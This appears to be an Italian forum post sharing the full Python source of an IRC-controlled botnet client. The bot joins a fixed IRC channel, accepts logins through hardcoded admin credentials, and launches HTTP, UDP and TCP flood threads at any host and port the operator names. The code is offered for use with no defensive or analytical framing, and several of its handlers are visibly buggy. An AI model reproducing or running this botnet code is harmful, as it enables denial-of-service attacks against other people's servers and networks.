Python Irc Bot

  1. #1
    Utente Esperto L'avatar di Calippo
    Data Registrazione
    Jul 2013
    Località
    Canto
    Messaggi
    18,176
    Un piccolo codice che funziona da Irc Bot

    Codice:
    ##################################################################### ### CREATED BY BODYBUILDER89 - COPYRIGHT (C) 2013-2014-2015-2016. ### ### V.4 OFFICIAL - Potenziati i thread e fixato altro ### ##################################################################### # ### HELP ### # ##################################################################### # #Coman # ##################################################################### #0) Login : digita -> &IDBOTNET&PASSWORDBOTNET& # #1) Caccia / Kicka Utente : digita -> $KICK$Utente$ # #2) Metodo Urllib : digita -> $AVVIA_URLLIB$www.xd.it$NUMEROTHREAD$ # #3) Ferma Urllib : digita -> $FERMA_URLLIB$ # #4) Metodo UDP : digita -> $AVVIA_UDP$127.0.0.1$22$NUMEROTHREAD$ # #5) Ferma UDP : digita -> $FERMA_UDP$ # #6) Metodo TCP : digita -> $AVVIA_TCP$127.0.0.1$22$NUMEROTHREAD$ # #7) Ferma TCP : digita -> $FERMA_TCP$ # #8) Chiudi : digita -> $CHIUDI$ # ##################################################################### # ### END HELP ### # ##################################################################### import socket, urllib, thread, os, time, random class IrcBot: def __init__(self): #credenziali self.server="irc.foreverchat.net" #il server irc self.porta=6667 #porta del server irc self.canale="#sikler" #nome del canale irc self.utente="Test" + str(random.randint(1,99999)) #nome dell'utente self.AdminUser="admin" #nome admin per accedere alla botnet self.AdminPassword="password" #password admin per accedere alla botnet #variabili dinamiche self.loggined=[] self.ferma=1 self._ferma=1 self.__ferma=1 #variabili base self.s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.printlogs=1 def PING(self, pong): self.s.send("PONG :%s\r\n" % pong) def Prendi_Nome(self, messaggio): return messaggio[1:].split("!")[0] def Collegato(self, utente): for i in self.loggined: if i == utente: return 1 return 0 def Login(self, admin, password, utente): if admin == self.AdminUser and password == self.AdminPassword: self.loggined.append(utente) def KICK(self, utente): self.s.send("KICK %s %s :ByeNoob\r\n" % (self.canale, utente)) def EntraNelCanale(self): self.s.send("JOIN %s\r\n" % self.canale) def InviaMessaggio(self, messaggio): self.s.send("PRIVMSG %s :%s\r\n" % (self.canale, messaggio)) def Apri(self, sito, threadmax): for i in range(0, threadmax): try: thread.start_new_thread(self.Apri_, (sito,)) except: pass def __Apri(self, IP, PORTA, threadmax): for i in range(0, threadmax): try: thread.start_new_thread(self.__Apri_, (IP,PORTA,)) except: pass def ___Apri(self, IP, PORTA, threadmax): for i in range(0, threadmax): try: thread.start_new_thread(self.___Apri_, (IP,PORTA,)) except: pass def Apri_(self, sito): while 1: if self.ferma==1: break try: u=urllib.urlopen("http://%s" % sito) except: pass def __Apri_(self, IP, PORTA): u=socket.socket(socket.AF_INET, socket.SOCK_DGRAM) byte="0"*1024 while 1: if self._ferma==1: break try: u.sendto(byte, (IP, PORTA)) except: pass def ___Apri_(self, IP, PORTA): u=socket.socket(socket.AF_INET, socket.SOCK_STREAM) u.connect((IP, PORTA)) u.setblocking(0) byte="0"*1024 while 1: if self.__ferma==1: break try: u.sendto(byte, (IP, PORTA)) except: pass def Avvia_Urllib(self, sito, threadmax): if self.ferma==0: self.InviaMessaggio("*** urllib gia' aperto -> Chiudilo prima ***") else: sito=sito.lower() self.InviaMessaggio("Avvio urllib in corso su %s (max thread: %d)" % (socket.gethostbyname(sito), threadmax)) self.ferma=0 thread.start_new_thread(self.Apri, (sito,threadmax,)) def Avvia_Udp(self, IP, PORTA, threadmax): if self._ferma==0: self.InviaMessaggio("*** udp gia' aperto -> Chiudilo prima ***") else: IP=socket.gethostbyname(IP) self.InviaMessaggio("Avvio udp in corso su %s:%d (max thread: %d)" % (IP, PORTA, threadmax)) self._ferma=0 thread.start_new_thread(self.__Apri, (IP,PORTA,threadmax,)) def Avvia_Tcp(self, IP, PORTA, threadmax): if self.__ferma==0: self.InviaMessaggio("*** tcp gia' aperto -> Chiudilo prima ***") else: IP=socket.gethostbyname(IP) self.InviaMessaggio("Avvio tcp in corso su %s:%d (max thread: %d)" % (IP, PORTA, threadmax)) self.__ferma=0 thread.start_new_thread(self.___Apri, (IP,PORTA,threadmax,)) def Ferma_Urllib(self): self.InviaMessaggio("Chiusura urllib in corso") self._ferma=1 def Ferma_Udp(self): self.InviaMessaggio("Chiusura udp in corso") self._ferma=1 def Ferma_Tcp(self): self.InviaMessaggio("Chiusura tcp in corso") self.__ferma=1 def Chiudi(self): self.InviaMessaggio("Chiusura in corso di %s" % self.utente) time.sleep(1) if self.ferma==0: self.ferma=1 if self._ferma==0: self._ferma=1 time.sleep(1) os._exit(0) def Avvia(self): self.s.connect((self.server, self.porta)) self.s.send("USER %s %s %s :%sX\r\n" % (self.utente, self.utente, self.utente, self.utente)) self.s.send("NICK %s\r\n" % self.utente) self.EntraNelCanale() while 1: mes=self.s.recv(2048) if self.printlogs==1: print mes mess=mes.upper() if mess.find("PING :") != -1: self.PING(mess.split(":")[1]) if self.Collegato(self.Prendi_Nome(mes))==1: if mess.find(":$KICK$") != -1: self.KICK(mess.split("$")[2]) if mess.find(":$AVVIA_URLLIB$") != -1: self.Avvia_Urllib(mess.split("$")[2]) if mess.find(":$AVVIA_UDP$") != -1: self.Avvia_Udp(mess.split("$")[2], int(mess.split("$")[3]), int(mess.split("$")[4])) if mess.find(":$AVVIA_TCP$") != -1: self.Avvia_Tcp(mess.split("$")[2], int(mess.split("$")[3]), int(mess.split("$")[4])) if mess.find(":$FERMA_URLLIB$") != -1: self.Ferma_Urllib() if mess.find(":$FERMA_UDP$") != -1: self.Ferma_Udp() if mess.find(":$FERMA_TCP$") != -1: self.Ferma_Tcp() if mess.find(":$CHIUDI$") != -1: self.Chiudi() else: if mes.find(":&") != -1: self.Login(mes.split("&")[1], mes.split("&")[2], self.Prendi_Nome(mes)) IrcBot().Avvia()



    Ultima modifica di Calippo; 07-12-2013 alle 23:59

Termini piu ricercati:

Nessuno è atterrato su questa pagina da un motore di ricerca. Almeno, non per ora...